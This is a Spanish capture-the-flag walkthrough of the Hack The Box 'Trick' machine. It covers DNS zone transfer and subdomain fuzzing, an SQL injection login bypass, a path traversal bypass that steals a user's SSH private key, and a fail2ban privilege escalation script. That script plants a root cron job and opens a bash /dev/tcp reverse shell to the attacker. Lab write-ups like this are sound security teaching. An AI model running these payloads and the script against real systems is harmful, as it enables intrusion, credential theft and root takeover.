Overview
- Subdomain enumeration by AXFR zone transfer request
- Subdomain enumeration by relationship
- Private key by Local File Inclusion (Foothold)
- Fail2ban misconfiguration (Privilege Escalation)
OS | IP | Release Date | Difficulty | Points |
---|---|---|---|---|
Linux | 10.10.11.166 | 18 Jun 2022 | Easy | 20 |
Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:
1
2
3
4
5
6
7
8
> ping -c1 10.10.11.166
PING 10.10.11.166 (10.10.11.166) 56(84) bytes of data.
64 bytes from 10.10.11.166: icmp_seq=1 ttl=63 time=107 ms
\______________________ Linux Machine
--- 10.10.11.166 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
\_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 106.851/106.851/106.851/0.000 ms
Explicación de parámetros:
-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina
Enumeration
Empezamos guardando en una variable la IP del objetivo y posteriormente con nmap
realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ TARGET=10.10.11.166; nmap -p- -sS --min-rate 5000 -n -Pn $TARGET
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 14:31 -05
Nmap scan report for 10.10.11.166
Host is up (0.11s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
\_________________ Secure Shell Protocol
25/tcp open smtp
\_________________ Simple Mail Transfer Protocol
53/tcp open domain
\_________________ Domain Name System
80/tcp open http
\_________________ Hypertext Transfer Protocol
Explicación de parámetros :
-p- : Escanear todos los puertos, del 1 al 65,535
-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo
--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo
-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)
-Pn : Omitir el descubrimiento de hosts y continuar con el escaneo de puertos, incrementa velocidad del escaneo
Continuamos con un escaneo a profundidad de los puertos 22(SSH) - 25(SMPT) - 53(DNS) - 80(HTTP):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p22,25,53,80 -sCV -oN openPortsTCP $TARGET
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 14:39 -05
Nmap scan report for trick.htb (10.10.11.166)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explicación de parámetros :
-p <port_1,port_2,...> : Indicamos que puertos queremos escanear
-sCV (Fusión de parámetros -sC -sV)
-sC : Ejecutar en los puertos scripts por defecto de nmap
-sV : Activar detección de versiones de los servicios que corren por los puertos
-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap
Iniciamos enumerando el puerto 25 (SMPT) que corre el servicio Postfix:
Qué es Postfix:
Postfix es un agente de transferencia de correo (MTA), una aplicación que se utiliza para enviar y recibir correos electrónicos
En el escaneo de nmap
observamos comandos que podemos ejecutar en el servicio de correo, en especial el comando VRFY
que nos permite enumerar usuarios
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ telnet $TARGET 25
Trying 10.10.11.166...
Connected to 10.10.11.166.
Escape character is '^]'.
220 debian.localdomain ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root <--------- Cannot verify the user (252 code)
VRFY user
550 5.1.1 <user>: Recipient address rejected: User unknown in local recipient table
VRFY nobody
252 2.0.0 nobody
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
No podemos hacer mucho por este puerto, así que pasamos a enumerar el puerto 53(DNS)
Omitimos el descubrimiento de versión (Banner grabbing) ya que
nmap
se encargó de ello
De manera primaria intentamos solicitar el proceso de tranferencia de zona, el cúal permite a un servidor DNS (servidor principal) pasar una copia de una parte de su base de datos a otro servidor DNS (servidor secundario)
Para ello, en la mayoría de los casos necesitamos un nombre de dominio:
Usamos el comando
nslookup
que nos permite realizar una búsqueda de DNS inversa
1
2
3
4
5
6
❯ nslookup
> SERVER 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa name = trick.htb. <-------- Domain name!
Encontramos el nombre de dominio trick.htb
. Ahora usando el comando dig
, que nos permite realizar consultas a servidores DNS y obtener información, solicitamos el proceso de Transferencia de zona:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ dig axfr @$TARGET trick.htb
; <<>> DiG 9.18.4-2-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 108 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Mon Sep 12 15:52:06 -05 2022
;; XFR size: 6 records (messages 1, bytes 231)
Usamos el tipo de consulta AXFR (Asynchronous Full Transfer Zone) debido al tipo de solicitud
Aquí puedes encontrar más información sobre Transeferencias de zona DNS: https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
Obervamos un nuevo dominio preprod-payroll.trick.htb
, el cuál es un CNAME (Canonical name), en manera simple se utiliza para dirigir un subdominio a otro dominio y aplicar Virtual hosting para de una misma IP podamos alojar distintas páginas web
Con el dominio encontrado pasamos a enumerar el puerto 80 (HTTP), sin olvidar antes agregar el nombre de dominio a nuestro arhcivo /etc/hosts, el cuál es el encargado de la resolución de direcciones IP y nombres de dominio: echo "10.10.11.166 preprod-payroll.trick.htb" >> /etc/hosts
Ahora enumeramos que tecnologías corren por los servicios web:
En el puerto 80 (HTTP) solo encontramos una interfaz en desarrollo con una versión de
Nginx 1.14.2
como servidor web
En el dominio
preprod-payroll.trick.htb
nos redirige a un panel de logeo
Después de intentar credenciales por defecto probramos una inyección SQL básica ' or 1=1#
en cualquiera de los dos campos (Username/Password) y logramos entar como el usuario Administrador
a lo que parece un sistema de Nóminas para los empleados (a saber por el nombre de dominio)
Lamentablemente el propósito de este Sistema de Gestión de Reclutamiento solo es un Rabbit hole (madriguera de conejo), él cual se le conoce como una situación en la que piensas que tienes una solución a lo que te enfrentas pero lo único que conseguirás es perder el tiempo
Continuamos enumerando la web pero no encontramos más directorios interesantes, así que tiramos por encontrar mas subdominios. Y para esto nos fijamos en el subdominio que ya tenemos preprod-payroll
:
Si lo desglozamos tenemos
preprod
(abreviación de pre-producción) +payroll
(nómina de sueldo)
Sabemos que pre-producción nos quiere decir que la web aún está en la etapa de planificación, en nuestro caso la web para la nómina de sueldos. Entonces, es posible que tengamos otros servicios web en pre-producción, para ello realizamos una enumeración con wfuzz
:
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wfuzz -c -t 200 --hh=5480 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: preprod-FUZZ.trick.htb' http://10.10.11.166
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.166/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000254: 200 178 L 631 W 9660 Ch "marketing"
Foothold
Ahora con nuestro nuevo domino preprod-marketing.trick.htb
(no olvidar agregarlo al /etc/hosts) accedemos a la siguiente interfaz:
Revisando la web de manera rápida y por el título nos damos cuenta que es un template. Además, al ir cambiando de secciones (HOME, SERVICES, ABOUT) observamos en la URL http://preprod-marketing.trick.htb/index.php?page=home.html
que a traves del archivo index.php haciendo el uso del parámetro page se llama al documento correspondiente a cada sección home.html
De primeras es muy sospechoso si conocemos el ataque Local File Inclusion, ya que estos archivos que son parte del servidor son llamados para mostarse en pantalla
Para comprobarlo intentamos leer el clásico archivo /etc/hosts que almacena información de los usuarios de sistema:
http://preprod-marketing.trick.htb/index.php?page=/etc/passwd
No conseguimos resultados, así que intentamos usar bypass básico. Ya que no sabemos en que ruta nos encontramos, intentamos ir al directorio anterior ../
un par de veces (mayormente son 3 ya que por defecto al crear un servicio web, esta se aloja en la ruta absoluta /var/www/<web_name>
):
http://preprod-marketing.trick.htb/index.php?page=../../../etc/passwd
Como seguimos sin resultados aplicamos otro bypass que evade las restricciones del uso de ../
y las elmina. Por ello, lo que hacemos es duplicarlas para que quede como queremos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash <---- User!
En caso que quieras probar mas byasses de manera simultánea, puedes usar wfuzz
con un directorio adecuado:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ wfuzz -c -t 100 --hl=0 -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt http://preprod-marketing.trick.htb/index.php?page=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://preprod-marketing.trick.htb/index.php?page=FUZZ
Total requests: 914
=====================================================================
ID Response Lines Word Chars Payload =====================================================================
000000327: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000330: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000328: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....
000000332: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000331: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000342: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//etc/passwd"
000000346: 200 41 L 68 W 2351 Ch "....//....//....//etc/passwd"
000000338: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000329: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000336: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000345: 200 41 L 68 W 2351 Ch "....//....//....//....//etc/passwd"
000000344: 200 41 L 68 W 2351 Ch "....//....//....//....//....//etc/passwd"
000000341: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//etc/passwd"
000000343: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//etc/passwd"
000000340: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//etc/passwd"
000000337: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000339: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//....//....//etc/passwd"
Al final logramos explotar la vulnerabilidad y listar archivos del servidor. El archivo /etc/hosts nos dió la información que existe un usuario llamado michael
, y ya que podemos listar archivos y tenemos abierto el puerto 22 (SSH) abierto, intentamos extraer la llave privada RSA alojada en /<user_home_directory>/.ssh/id_rsa
Al final conseguimos extraerla y nos conectamos satisfactoriamente por SSH y conseguimos la flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa > id_rsa_michael
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1823 0 1823 0 0 8530 0 --:--:-- --:--:-- --:--:-- 8518
❯ chmod 600 id_rsa_michael
❯ ssh -i id_rsa_michael michael@10.10.11.166
The authenticity of host '10.10.11.166 (10.10.11.166)' can't be established.
ED25519 key fingerprint is SHA256:CUKzxire1i5wxTO1zNuBswEtE0u/RyyjZ+v07fOUuYY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.166' (ED25519) to the list of known hosts.
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 12 22:27:25 2022 from 10.10.14.48
michael@trick:~$ find / -name user.txt -exec ls -l {} + 2>/dev/null
-rw-r----- 1 root michael 33 Sep 12 22:13 /home/michael/user.txt
Ya que tenemos acceso al servidor, a continuación validamos las malas prácticas que nos proporcionaron explotar las vulnerabilidades anteriores:
Inyección SQL (file: /var/www/payroll/admin_class.php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
...
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' "); <-- '.' concatenation
if($qry->num_rows > 0) {
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
} else {
return 3;
}
}
...
?>
Local File Inclusion (file: /var/www/market/index.php)
1
2
3
4
5
6
7
8
9
10
<?php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("../","",$file)); <-- non-recursive constraint
}
?>
Privilege Escalation
En el proceso de realizar una enumeración básica del sistema y del usuario actual, obervamos que tenemos permitido ejecutar un binario como el usuario root
sin proporcionar una contraseña:
1
2
3
4
5
6
7
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
Antes de intentar algo nos informamos que es fail2ban
:
Fail2ban es una herramienta que asigna ciertas reglas especificadas (bloqueo de ip, etc), que alteran configuraciones del firewall, al momento de intentos fallidos de inicios de sesión
Fail2ban tiene como propósito monitorear los logs de servicios comúnes, filtrar los logs respecto a autenticaciones fallidas y tomar acciones
Investigando en internet de su funcionamiento encontramos que existe una mala configuración que permite escalar privilegios. En palabras simples, podemos provocar un baneo que ejecute código malicioso al momento de tomar una acción hacia nosotros
Primero debemos conocer para que servicios está activo Fail2ban, para ello tenemos los archivos de configuración /etc/fail2ban/jail.conf
y /etc/fail2ban/jail.d/defaults-debian.conf
, donde encontramos las políticas por defecto y que servicios están activos
Revisamos en el archivo principal de configuración
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
michael@trick:~$ less /etc/fail2ban/jail.conf
...
#
# SSH servers
#
[sshd]
# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
#mode = normal
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 10s
...
No vemos un
enable = true
que indique que está activo, por ello revisamos el otro archivo de configuración y aseguramos que el servicio SSHD (ssh daemon) está activado
1
2
3
michael@trick:~$ cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true
Ahora debemos asegurarnos las acciones que se establecerán cuando provoquemos el baneo, para ello revisamos el archivo de configuración /etc/fail2ban/jail.conf
1
2
3
4
5
6
7
8
9
10
11
12
michael@trick:~$ less /etc/fail2ban/jail.conf
...
#
# Action shortcuts. To be used to define action parameter
# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport <--- ban action!
banaction_allports = iptables-allports
...
El nombre especificado apunta a la ruta /etc/fail2ban/action.d/<banaction>.conf
y es el encargado de configurar el firewall y así prohibir los hosts que provoquen el baneo
1
2
3
4
5
6
7
8
9
10
michael@trick:~$ less /etc/fail2ban/action.d/iptables-multiport.conf
...
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> <--- Here
...
El archivo anterior es el que se activará cuando provoquemos el baneo y ejecutar la acción actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
, que como vemos puede ser un comando
Antes de eso debemos saber los intentos que tenemos antes de ser baneados y por cuanto tiempo será, eso también lo vemos en el archivo de configuración
1
2
3
4
5
6
7
8
9
10
11
12
michael@trick:~$ less /etc/fail2ban/jail.conf
...
# "bantime" is the number of seconds that a host is banned.
bantime = 10s
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime = 10s
# "maxretry" is the number of failures before a host get banned.
maxretry = 5 <--- Here (important)
...
Ahora solo queda modificar la acción actionban = MALICIOUS CODE
, reiniciar el servicio fail2ban
que lo ejecutará como root
gracias a los permisos que tenemos, luego nos logearemos por SSH provocando el máximo de intentos (5) para ser baneados y activar actionban
que ejecutará nuestro comando
Para el proceso junte cada tarea en un script en bash
que explica el proceso y te permite conseguir acceso como root
a traves de una tarea cron inyectada:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
# Fail2ban privesc (sshd service)
# ----------------
# Remote machine
# ---------------
# actionban config file
fail2ban_rule_conf=/etc/fail2ban/action.d/iptables-multiport.conf
# check user:group permissions (root:root)
ls -l $fail2ban_rule_conf
# change user:group to writeable permisisons
cp $fail2ban_rule_conf{,.bak}
mv -f $fail2ban_rule_conf.bak $fail2ban_rule_conf
# check user:group permission (michale:michael)
ls -l $fail2ban_rule_conf
# commands to create cron process to receive privileged reverse shell
if [ -d "/tmp/.privesc" ]; then
rm -rf "/tmp/.privesc"
fi
create_dir="mkdir /tmp/.privesc"
assing_cron="echo '* * * * * root /bin/sh /tmp/.privesc/pwned.sh' > /etc/cron.d/pwned;"
cron_script="echo \"bash -c 'bash -i >& /dev/tcp/$1/$2 0>&1'\" > /tmp/.privesc/pwned.sh;"
add_perm="chmod +x /tmp/.privesc/pwned.sh;"
# save commands in file
$create_dir
echo -e "$assing_cron\n$cron_script\n$add_perm" > /tmp/.privesc/cmd.sh
chmod +x /tmp/.privesc/cmd.sh
# change actionban to execute malicious file
sed -i 's/actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>/actionban = \/bin\/bash \/tmp\/.privesc\/cmd.sh/g' $fail2ban_rule_conf
# restart fail2ban service
sudo /etc/init.d/fail2ban restart
# Local machine
# -------------
sleep 3
echo -e "\nMake failed ssh requests in ATTACKER machine to activate fail2ban rules (maxretry = 5)"
echo "Example: for i in \$(seq 1 10); do sshpass -p 'anything' ssh michael@10.10.11.166; done"
echo -e "\nListen on IP $1 through PORT $2 to receive the shell. (g.e nc -lvnp $2)\n"
Puedes encontrar el script en mi repositorio https://github.com/E1P0TR0
Ahora solo lo ejecutamos y conseguimos la flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
michael@trick:/tmp$ ./privesc.sh 10.10.14.58 1234
-rw-r--r-- 1 michael michael 1401 Sep 13 02:42 /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 michael michael 1401 Sep 13 02:44 /etc/fail2ban/action.d/iptables-multiport.conf
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
Make failed ssh requests in ATTACKER machine to activate fail2ban rules (maxretry = 5)
Example: for i in $(seq 1 6); do sshpass -p 'anything' ssh michael@10.10.11.166; done
Listen on IP 10.10.14.58 through PORT 1234 to receive the shell. (g.e nc -lvnp 1234)
michael@trick:/tmp$
─────────────────────────────────────────────────────────────────────────────────────────────────
❯ for i in $(seq 1 6); do sshpass -p 'anything' ssh michael@10.10.11.166; done
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
❯ nc -lvnp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.166.
Ncat: Connection from 10.10.11.166:36098.
bash: cannot set terminal process group (4074): Inappropriate ioctl for device
bash: no job control in this shell
root@trick:~# find / -name root.txt | xargs ls -l
find / -name root.txt | xargs ls -l
-rw-r----- 1 root root 33 Sep 12 22:13 /root/root.txt
Aquí tienes un articulo muy detallado sobre Fail2ban https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server